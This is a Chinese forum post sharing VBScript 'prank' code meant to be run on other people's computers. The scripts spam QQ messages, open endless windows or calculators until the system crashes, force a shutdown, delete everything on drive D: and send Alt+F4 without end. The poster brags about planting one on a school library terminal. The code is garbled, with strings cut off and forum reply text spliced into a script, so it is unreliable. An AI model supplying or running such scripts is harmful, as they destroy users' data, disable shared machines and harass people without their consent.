vbs整人代码大**

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=>

=--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye

set wsh=createobject(\for i=1 to 10

wscript.sleep 700

wsh.AppActivate(\与 xx 聊天中\wsh.sendKeys \wsh.sendKeys i wsh.sendKeys \next

wscript.quit

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------ do

msgbox \loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject(\do

wsh.run \loop

-----------------------------------------------------------------------------

四、直接关机

----------------------------------------------------------------------------- dim WSHshell

set WSHshell = wscript.createobject(\WSHshell.run \

----------------------------------------------------------------------------- 五、删除D:\\所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject(\WSHshell.run \---------------------------------------------------------------------------- 六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox \哈哈 你被耍了！\loop

---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject(\while(1)

WSHshell.SendKeys \loop

---------------------------------------------------------------------------

八、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

-----------------------------------------------------------------------------

dim s

do until s=500 s=s+1

msgbox \哥们，给我按500次回车吧\loop

'------------------------ ------------------------------------------------------------

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo(\嘿，谢谢你打开我哦，我等你很久

拉！\

WScript.Echo(\你是可爱的小朋吗?\

WScript.Echo(\哈,我想你拉，这你都不知道吗？\ 顶 0

举报 | 2011-06-01 20:46回复 菊花爆开 电白自学 2楼

WScript.Echo(\怎么才来，说~是不是不关心我\

WScript.Echo(\哼,我生气拉，等你这么久，心都凉啦。\WScript.Echo(\小强很生气，后果很严重哦。\WScript.Echo(\嘿嘿！你也会很惨滴哦\WScript.Echo(\是不是想清除我？\

WScript.Echo(\那你要点上50下哦，不过会给你惊喜滴\WScript.Echo(\还剩49下，快点点哦\

WScript.Echo(\还剩48下，快点，小笨蛋！\WScript.Echo(\还剩47下对，就这样快点点！\

WScript.Echo(\还剩46下。你啊就是笨，要快哦，我先不打扰

你工作。\

WScript.Echo(\还剩45下，记得要快哦！\WScript.Echo(\还剩43下\WScript.Echo(\还剩42下\WScript.Echo(\还剩41下\WScript.Echo(\还剩40下\WScript.Echo(\还剩39下\WScript.Echo(\还剩38下\WScript.Echo(\还剩37下\WScript.Echo(\还剩36下\WScript.Echo(\还剩35下\WScript.Echo(\还剩34下\WScript.Echo(\还剩33下\